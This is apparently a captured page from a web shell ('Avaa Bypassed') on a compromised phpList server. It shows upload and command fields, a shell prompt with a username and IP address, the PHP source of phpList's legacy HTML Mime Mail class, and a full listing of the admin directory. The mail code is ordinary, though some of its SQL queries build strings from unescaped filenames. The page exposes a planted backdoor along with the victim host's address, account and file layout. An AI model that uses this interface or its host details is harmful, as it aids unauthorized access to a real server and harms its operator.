[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.133.155.253: ~ $
<?php
require_once dirname(__FILE__).'/accesscheck.php';


/***************************************
** Title.........: HTML Mime Mail class
** Version.......: 2.0.3
** Author........: Richard Heyes <richard@phpguru.org>
** Filename......: class.html.mime.mail.class
** Last changed..: 21 December 2001
** License.......: Free to use. If you find it useful
**                 though, feel free to buy me something
**                 from my wishlist :)
**                 http://www.amazon.co.uk/exec/obidos/wishlist/S8H2UOGMPZK6
** Modified for use with PHPlist
** Modification...: 3 April 2002
** Modified by....: Michiel Dethmers
***************************************/

require_once($GLOBALS["coderoot"].'mimePart.php');

class html_mime_mail{

  var $html;
  var $text;
  var $output;
  var $html_text;
  var $html_images;
  var $image_types;
  var $build_params;
  var $attachments;
  var $headers;

/***************************************
** Constructor function. Sets the headers
** if supplied.
***************************************/

  function html_mime_mail($headers = array()){

    /***************************************
        ** Make sure this is defined. This should
    ** be \r\n, but due to many people having
    ** trouble with that, it is by default \n
    ** If you leave it as is, you will be breaking
    ** quite a few standards.
        ***************************************/

    if(!defined('CRLF'))
      define('CRLF', "\n", TRUE);

    /***************************************
        ** Initialise some variables.
        ***************************************/

    $this->html_images  = array();
    $this->headers    = array();

    /***************************************
        ** If you want the auto load functionality
    ** to find other image/file types, add the
    ** extension and content type here.
        ***************************************/

    $this->image_types = array(
                  'gif'  => 'image/gif',
                  'jpg'  => 'image/jpeg',
                  'jpeg'  => 'image/jpeg',
                  'jpe'  => 'image/jpeg',
                  'bmp'  => 'image/bmp',
                  'png'  => 'image/png',
                  'tif'  => 'image/tiff',
                  'tiff'  => 'image/tiff',
                  'swf'  => 'application/x-shockwave-flash'
                  );

    /***************************************
        ** Set these up
        ***************************************/

    $this->build_params['html_encoding']  = 'quoted-printable';
    $this->build_params['text_encoding']  = '7bit';
    $this->build_params['html_charset']    = 'iso-8859-1';
    $this->build_params['text_charset']    = 'iso-8859-1';
    $this->build_params['text_wrap']    = 998;

    /***************************************
        ** Make sure the MIME version header is first.
        ***************************************/

    $this->headers[] = 'MIME-Version: 1.0';

    foreach($headers as $value){
      if(!empty($value))
        $this->headers[] = $value;
    }
  }

/***************************************
** This function will read a file in
** from a supplied filename and return
** it. This can then be given as the first
** argument of the the functions
** add_html_image() or add_attachment().
***************************************/

  function get_file_original($filename){

    $return = '';
    if($fp = fopen($filename, 'rb')){
      while(!feof($fp)){
        $return .= fread($fp, 1024);
      }
      fclose($fp);
      return $return;

    }else{
      return FALSE;
    }
  }

  function get_file($templateid,$filename){
    global $tables;

    $req = Sql_Fetch_Row_Query(sprintf('select data from %s where template = %d and filename = "%s"',
      $tables["templateimage"],$templateid,$filename));
     return base64_decode($req[0]);
  }

/***************************************
** Function for extracting images from
** html source. This function will look
** through the html code supplied by add_html()
** and find any file that ends in one of the
** extensions defined in $obj->image_types.
** If the file exists it will read it in and
** embed it, (not an attachment).
**
** Function contributed by Dan Allen
***************************************/

  function find_html_images_original($images_dir) {

    // Build the list of image extensions
    while(list($key,) = each($this->image_types))
      $extensions[] = $key;

    preg_match_all('/"([^"]+\.('.implode('|', $extensions).'))"/Ui', $this->html, $images);

    for($i=0; $i<count($images[1]); $i++){
      if(file_exists($images_dir.$images[1][$i])){
        $html_images[] = $images[1][$i];
        $this->html = str_replace($images[1][$i], basename($images[1][$i]), $this->html);
      }
    }

    if(!empty($html_images)){

      // If duplicate images are embedded, they may show up as attachments, so remove them.
      $html_images = array_unique($html_images);
      sort($html_images);

      for($i=0; $i<count($html_images); $i++){
        if($image = $this->get_file($images_dir.$html_images[$i])){
          $content_type = $this->image_types[substr($html_images[$i], strrpos($html_images[$i], '.') + 1)];
          $this->add_html_image($image, basename($html_images[$i]), $content_type);
        }
      }
    }
  }

  function image_exists($templateid,$filename) {
    global $tables;
    $req = Sql_Query(sprintf('select * from %s where template = %d and filename = "%s"',
      $tables["templateimage"],$templateid,$filename));
    return Sql_Affected_Rows();
  }

  function find_html_images($templateid) {

    // Build the list of image extensions
    while(list($key,) = each($this->image_types))
      $extensions[] = $key;

    preg_match_all('/"([^"]+\.('.implode('|', $extensions).'))"/Ui', $this->html, $images);

    for($i=0; $i<count($images[1]); $i++){
      if($this->image_exists($templateid,$images[1][$i])){
        $html_images[] = $images[1][$i];
        $this->html = str_replace($images[1][$i], basename($images[1][$i]), $this->html);
      }
    }

    if(!empty($html_images)){

      // If duplicate images are embedded, they may show up as attachments, so remove them.
      $html_images = array_unique($html_images);
      sort($html_images);

      for($i=0; $i<count($html_images); $i++){
        if($image = $this->get_file($templateid,$html_images[$i])){
          $content_type = $this->image_types[substr($html_images[$i], strrpos($html_images[$i], '.') + 1)];
          $this->add_html_image($image, basename($html_images[$i]), $content_type);
        }
      }
    }
  }


/***************************************
** Adds plain text. Use this function
** when NOT sending html email
***************************************/

  function add_text($text = ''){
    $this->text = $text;
  }

  function append_text($text = ''){
    $this->text .= "\n".$text;
  }

/***************************************
** Adds a html part to the mail.
** Also replaces image names with
** content-id's.
***************************************/

  function add_html($html, $text = NULL, $templateid = 0){

    $this->html      = $html;
    $this->html_text  = $text;

  #  if(isset($images_dir))
      $this->find_html_images($templateid);
  }

/***************************************
** Adds an image to the list of embedded
** images.
***************************************/

  function add_html_image($file, $name = '', $c_type='application/octet-stream'){
    $this->html_images[] = array(
                    'body'   => $file,
                    'name'   => $name,
                    'c_type' => $c_type,
                    'cid'    => md5(uniqid(time()))
                  );
  }

/***************************************
** Adds a PDF to the list of embedded
** pdfs.
***************************************/

  function add_pdf($file, $name = '', $c_type='application/pdf'){
    $this->html_images[] = array(
                    'body'   => $file,
                    'name'   => $name,
                    'c_type' => $c_type,
                    'cid'    => md5(uniqid(time()))
                  );
  }

/***************************************
** Adds a file to the list of attachments.
***************************************/

  function add_attachment($file, $name = '', $c_type='application/octet-stream', $encoding = 'base64'){
    $this->attachments[] = array(
                  'body'    => $file,
                  'name'    => $name,
                  'c_type'  => $c_type,
                  'encoding'  => $encoding
                  );
  }

/***************************************
** Adds a text subpart to a mime_part object
***************************************/

  function &add_text_part(&$obj, $text){

    $params['content_type'] = 'text/plain';
    $params['encoding']     = $this->build_params['text_encoding'];
    $params['charset']      = $this->build_params['text_charset'];
    if(is_object($obj)){
      return $obj->addSubpart($text, $params);
    }else{
      return new Mail_mimePart($text, $params);
    }
  }

/***************************************
** Adds a html subpart to a mime_part object
***************************************/

  function &add_html_part(&$obj){

    $params['content_type'] = 'text/html';
    $params['encoding']     = $this->build_params['html_encoding'];
    $params['charset']      = $this->build_params['html_charset'];
    if(is_object($obj)){
      return $obj->addSubpart($this->html, $params);
    }else{
      return new Mail_mimePart($this->html, $params);
    }
  }

/***************************************
** Starts a message with a mixed part
***************************************/

  function &add_mixed_part(){

    $params['content_type'] = 'multipart/mixed';
    $params['encoding']     = '7bit';
    return new Mail_mimePart('', $params);
  }

/***************************************
** Adds an alternative part to a mime_part object
***************************************/

  function &add_alternative_part(&$obj){

    $params['content_type'] = 'multipart/alternative';
    $params['encoding']     = '7bit';
    if(is_object($obj)){
      return $obj->addSubpart('', $params);
    }else{
      $ret = new Mail_mimePart('', $params);
      return $ret;
    }
  }

/***************************************
** Adds a html subpart to a mime_part object
***************************************/

  function &add_related_part(&$obj){

    $params['content_type'] = 'multipart/related';
    $params['encoding']     = '7bit';
    if(is_object($obj)){
      return $obj->addSubpart('', $params);
    }else{
      $ret = new Mail_mimePart('', $params);
      return $ret;
    }
  }

/***************************************
** Adds an html image subpart to a mime_part object
***************************************/

  function &add_html_image_part(&$obj, $value){

    $params['content_type'] = $value['c_type'];
    $params['encoding']     = 'base64';
    $params['disposition']  = 'inline';
    $params['dfilename']    = $value['name'];
    $params['cid']          = $value['cid'];
    $obj->addSubpart($value['body'], $params);
  }

/***************************************
** Adds an attachment subpart to a mime_part object
***************************************/

  function &add_attachment_part(&$obj, $value){

    $params['content_type'] = $value['c_type'];
    $params['encoding']     = $value['encoding'];
    $params['disposition']  = 'attachment';
    $params['dfilename']    = $value['name'];
    $obj->addSubpart($value['body'], $params);
  }

/***************************************
** Builds the multipart message from the
** list ($this->_parts). $params is an
** array of parameters that shape the building
** of the message. Currently supported are:
**
** $params['html_encoding'] - The type of encoding to use on html. Valid options are
**                            "7bit", "quoted-printable" or "base64" (all without quotes).
**                            7bit is EXPRESSLY NOT RECOMMENDED. Default is quoted-printable
** $params['text_encoding'] - The type of encoding to use on plain text Valid options are
**                            "7bit", "quoted-printable" or "base64" (all without quotes).
**                            Default is 7bit
** $params['text_wrap']     - The character count at which to wrap 7bit encoded data.
**                            Default this is 998.
** $params['html_charset']  - The character set to use for a html section.
**                            Default is iso-8859-1
** $params['text_charset']  - The character set to use for a text section.
**                          - Default is iso-8859-1
***************************************/

  function build_message($params = array()){

    if(count($params) > 0)
      while(list($key, $value) = each($params))
        $this->build_params[$key] = $value;

    if(!empty($this->html_images))
      foreach($this->html_images as $value)
        $this->html = str_replace('"'.$value['name'].'"', '"cid:'.$value['cid'].'"', $this->html);

    $null        = NULL;
    $attachments = !empty($this->attachments) ? TRUE : FALSE;
    $html_images = !empty($this->html_images) ? TRUE : FALSE;
    $html        = !empty($this->html)        ? TRUE : FALSE;
    $text        = isset($this->text)         ? TRUE : FALSE;

    switch(TRUE){
      case $text AND !$attachments:
        $message =& $this->add_text_part($null, $this->text);
        break;

      case !$text AND $attachments AND !$html:
        $message =& $this->add_mixed_part();

        for($i=0; $i<count($this->attachments); $i++)
          $this->add_attachment_part($message, $this->attachments[$i]);
        break;

      case $text AND $attachments:
        $message =& $this->add_mixed_part();
        $this->add_text_part($message, $this->text);

        for($i=0; $i<count($this->attachments); $i++)
          $this->add_attachment_part($message, $this->attachments[$i]);
        break;

      case $html AND !$attachments AND !$html_images:
        if(!is_null($this->html_text)){
          $message =& $this->add_alternative_part($null);
          $this->add_text_part($message, $this->html_text);
          $this->add_html_part($message);
        }else{
          $message =& $this->add_html_part($null);
        }
        break;

      case $html AND !$attachments AND $html_images:
        if(!is_null($this->html_text)){
          $message =& $this->add_alternative_part($null);
          $this->add_text_part($message, $this->html_text);
          $related =& $this->add_related_part($message);
        }else{
          $message =& $this->add_related_part($null);
          $related =& $message;
        }
        $this->add_html_part($related);
        for($i=0; $i<count($this->html_images); $i++)
          $this->add_html_image_part($related, $this->html_images[$i]);
        break;

      case $html AND $attachments AND !$html_images:
        $message =& $this->add_mixed_part();
        if(!is_null($this->html_text)){
          $alt =& $this->add_alternative_part($message);
          $this->add_text_part($alt, $this->html_text);
          $this->add_html_part($alt);
        }else{
          $this->add_html_part($message);
        }
        for($i=0; $i<count($this->attachments); $i++)
          $this->add_attachment_part($message, $this->attachments[$i]);
        break;

      case $html AND $attachments AND $html_images:
        $message =& $this->add_mixed_part();
        if(!is_null($this->html_text)){
          $alt =& $this->add_alternative_part($message);
          $this->add_text_part($alt, $this->html_text);
          $rel =& $this->add_related_part($alt);
        }else{
          $rel =& $this->add_related_part($message);
        }
        $this->add_html_part($rel);
        for($i=0; $i<count($this->html_images); $i++)
          $this->add_html_image_part($rel, $this->html_images[$i]);
        for($i=0; $i<count($this->attachments); $i++)
          $this->add_attachment_part($message, $this->attachments[$i]);
        break;

    }

    if(isset($message)){
      $output = $message->encode();
      $this->output = $output['body'];

      foreach($output['headers'] as $key => $value){
        $headers[] = $key.': '.$value;
      }

      $this->headers = array_merge($this->headers, $headers);
      return TRUE;
    }else
      return FALSE;
  }

/***************************************
** Sends the mail.
***************************************/

  function send($to_name, $to_addr, $from_name, $from_addr, $subject = '', $headers = ''){

    $to    = ($to_name != '')   ? '"'.$to_name.'" <'.$to_addr.'>' : $to_addr;
    $from  = ($from_name != '') ? '"'.$from_name.'" <'.$from_addr.'>' : $from_addr;

    if(is_string($headers))
      $headers = explode(CRLF, trim($headers));

    for($i=0; $i<count($headers); $i++){
      if(is_array($headers[$i]))
        for($j=0; $j<count($headers[$i]); $j++)
          if($headers[$i][$j] != '')
            $xtra_headers[] = $headers[$i][$j];

      if($headers[$i] != '')
        $xtra_headers[] = $headers[$i];
    }
    if(!isset($xtra_headers))
      $xtra_headers = array();

    return sendMail($to, $subject, $this->output, 'From: '.$from.CRLF.implode(CRLF, $this->headers).CRLF.implode(CRLF, $xtra_headers));
  }

/***************************************
** Use this method to deliver using direct
** smtp connection. Relies upon the smtp
** class available from http://www.heyes-computing.net
** You probably downloaded it with this class though.
**
** bool smtp_send(
**                object The smtp object,
**                array  Parameters to pass to the smtp object
**                       See example.1.php for details.
**               )
***************************************/

  function smtp_send(&$smtp, $params = array()){

    foreach($params as $key => $value){
      switch($key){
        case 'headers':
          $headers = $value;
          break;

        case 'from':
          $send_params['from'] = $value;
          break;

        case 'recipients':
          $send_params['recipients'] = $value;
          break;
      }
    }

    $send_params['body']  = $this->output;
    $send_params['headers']  = array_merge($this->headers, $headers);

    return $smtp->send($send_params);
  }

/***************************************
** Use this method to return the email
** in message/rfc822 format. Useful for
** adding an email to another email as
** an attachment. there's a commented
** out example in example.php.
**
** string get_rfc822(string To name,
**       string To email,
**       string From name,
**       string From email,
**       [string Subject,
**        string Extra headers])
***************************************/

  function get_rfc822($to_name, $to_addr, $from_name, $from_addr, $subject = '', $headers = ''){

    // Make up the date header as according to RFC822
    $date = 'Date: '.date('D, d M y H:i:s');

    $to   = ($to_name   != '') ? 'To: "'.$to_name.'" <'.$to_addr.'>' : 'To: '.$to_addr;
    $from = ($from_name != '') ? 'From: "'.$from_name.'" <'.$from_addr.'>' : 'From: '.$from_addr;

    if(is_string($subject))
      $subject = 'Subject: '.$subject;

    if(is_string($headers))
      $headers = explode(CRLF, trim($headers));

    for($i=0; $i<count($headers); $i++){
      if(is_array($headers[$i]))
        for($j=0; $j<count($headers[$i]); $j++)
          if($headers[$i][$j] != '')
            $xtra_headers[] = $headers[$i][$j];

      if($headers[$i] != '')
        $xtra_headers[] = $headers[$i];
    }

    if(!isset($xtra_headers))
      $xtra_headers = array();

    $headers = array_merge($this->headers, $xtra_headers);

    return $date.CRLF.$from.CRLF.$to.CRLF.$subject.CRLF.implode(CRLF, $headers).CRLF.CRLF.$this->output;
  }


} // End of class.
?>

Filemanager

Name Type Size Permission Actions
FCKeditor Folder 0755
PEAR Folder 0755
PHPMailer Folder 0755
PHPMailer6 Folder 0755
actions Folder 0755
auth Folder 0755
commonlib Folder 0755
css Folder 0755
data Folder 0755
help Folder 0755
images Folder 0755
inc Folder 0755
info Folder 0755
js Folder 0755
lan Folder 0755
locale Folder 0755
oldmailer Folder 0755
onyxrss Folder 0755
plugins Folder 0755
styles Folder 0755
tests Folder 0755
ui Folder 0755
uploadimages Folder 0755
.gitignore File 20 B 0644
.htaccess File 171 B 0644
.minceconf File 994 B 0644
AnalyticsQuery.php File 985 B 0644
CsvReader.php File 1.27 KB 0644
EmailSender.php File 477 B 0644
about.php File 4.22 KB 0644
accesscheck.php File 1.51 KB 0644
addprefix.php File 966 B 0644
adduser.php File 46 B 0644
admin.php File 10.68 KB 0644
adminattributes.php File 6.39 KB 0644
admins.php File 4.54 KB 0644
adodb.inc File 6.49 KB 0644
analytics.php File 2.84 KB 0644
attributes.php File 102 B 0644
blacklistemail.php File 1.04 KB 0644
bounce.php File 10.09 KB 0644
bouncemgt.php File 1.39 KB 0644
bouncerule.php File 3 KB 0644
bouncerules.php File 5.86 KB 0644
bounces.php File 6.01 KB 0644
catlists.php File 2.64 KB 0644
checkbouncerules.php File 1.34 KB 0644
checki18n.php File 2.69 KB 0644
checkprerequisites.php File 1.05 KB 0644
class.html.mime.mail-outlookfix.inc File 19.93 KB 0644
class.html.mime.mail.inc File 19.35 KB 0644
class.image.inc File 5.77 KB 0644
class.phplistmailer.php File 24.23 KB 0644
class.phplistmailerbase.php File 1.5 KB 0644
community.php File 1.78 KB 0644
communityfeed.php File 2.36 KB 0644
configure.php File 5.25 KB 0644
connect.php File 74.36 KB 0644
convertstats.php File 5.51 KB 0644
converttoutf8.php File 3.77 KB 0644
cron.php File 3.37 KB 0644
date.php File 6.08 KB 0644
dbcheck.php File 111 B 0644
defaultFrontendTexts.php File 9.57 KB 0644
defaultconfig.inc File 23.52 KB 0644
defaultconfig.php File 24.92 KB 0644
defaultplugin.php File 23.31 KB 0644
defaults.php File 2.83 KB 0644
defaultsystemtemplate.php File 1.83 KB 0644
defaulttest.php File 1.12 KB 0644
dlusers.php File 232 B 0644
domainbounces.php File 507 B 0644
domainstats.php File 2.83 KB 0644
editattributes.php File 6.7 KB 0644
editlist.php File 6.79 KB 0644
error_log File 274 B 0644
eventlog.php File 4.49 KB 0644
export.php File 4.84 KB 0644
exportuserdata.php File 6.36 KB 0644
fckphplist.php File 43.21 KB 0644
footer.inc File 1.19 KB 0644
footer.old.inc File 1.82 KB 0644
gchart.php File 869 B 0644
generatebouncerules.php File 5.24 KB 0644
getrss.php File 3.94 KB 0644
header.inc File 1.75 KB 0644
home.php File 16.36 KB 0644
hostedprocessqueuesetup.php File 1.64 KB 0644
htaccess File 311 B 0644
image.php File 795 B 0644
import.php File 2.54 KB 0644
import1.php File 9.41 KB 0644
import2.php File 243 B 0644
import3.php File 20.26 KB 0644
import4.php File 15.63 KB 0644
importadmin.php File 14.5 KB 0644
importlib.php File 2.86 KB 0644
importsimple.php File 5.84 KB 0644
index.php File 22.53 KB 0644
index.php.old File 22.53 KB 0644
info.php File 1.01 KB 0644
init.php File 21.7 KB 0644
initialise.php File 10.02 KB 0644
initlanguages.php File 794 B 0644
languages.php File 22.43 KB 0644
lib.php File 59.85 KB 0644
list.php File 11.79 KB 0644
listbounces.php File 4.64 KB 0644
login.php File 6.05 KB 0755
logout.php File 224 B 0644
massremove.php File 1.81 KB 0644
massunconfirm.php File 1.52 KB 0644
mclicks.php File 9.55 KB 0644
members.php File 16.58 KB 0644
mergeduplicates.php File 4.28 KB 0644
message.php File 7.27 KB 0644
messages.php File 18.94 KB 0644
mimePart.php File 10.7 KB 0644
minify.txt File 201 B 0644
msgbounces.php File 3.79 KB 0644
msgstatus.php File 1.18 KB 0644
mviews.php File 7.88 KB 0644
mysql.inc File 11.19 KB 0644
mysqli.inc File 11.58 KB 0644
pageaction.php File 1.08 KB 0644
pagetop.php File 1.17 KB 0644
phpListAdminAuthentication.php File 7.2 KB 0644
pluginlib.php File 6.39 KB 0644
plugins.php File 10.32 KB 0644
preparesend.php File 627 B 0644
processbounces.php File 29.71 KB 0644
processqueue.php File 3.73 KB 0644
purgerss.php File 1.38 KB 0644
readtestmail.php File 11.26 KB 0644
reconcileusers.php File 25.16 KB 0644
redirecttoupdater.php File 170 B 0644
reindex.php File 1.69 KB 0644
rsslib.php File 2.8 KB 0644
runcommand.php File 583 B 0644
send.php File 5.58 KB 0644
send_core.php File 56.08 KB 0644
sendemaillib.php File 64.2 KB 0644
sendprepared.php File 4.33 KB 0644
sessionlib.php File 2.92 KB 0644
setpermissions.php File 1.57 KB 0644
setup.php File 3.21 KB 0644
sidebar.php File 2.67 KB 0644
spage.php File 3.29 KB 0644
spageedit.php File 17.07 KB 0644
statsmgt.php File 1.22 KB 0644
statsoverview.php File 7.62 KB 0644
stresstest.php File 5.1 KB 0644
structure.php File 26.79 KB 0644
subscribelib2.php File 66.02 KB 0644
subscriberstats.php File 591 B 0644
suppressionlist.php File 1.71 KB 0644
system.php File 784 B 0644
systemstats.php File 7.71 KB 0644
template.php File 12.72 KB 0644
templates.php File 3.02 KB 0644
tests.php File 1.57 KB 0644
uclicks.php File 6.52 KB 0644
update.php File 187 B 0644
updateLib.php File 2.77 KB 0644
updatetlds.php File 399 B 0644
updatetranslation.php File 1.94 KB 0644
upgrade.php File 29.03 KB 0644
user.php File 2.35 KB 0644
usercheck.php File 2.27 KB 0644
userclicks.php File 8 KB 0644
userhistory.php File 127 B 0644
usermgt.php File 1.83 KB 0644
users.php File 393 B 0644
vCard.php File 1.9 KB 0644
viewmessage.php File 610 B 0644
viewrss.php File 4.07 KB 0644
viewtemplate.php File 1.82 KB 0644
vote.php File 38 B 0644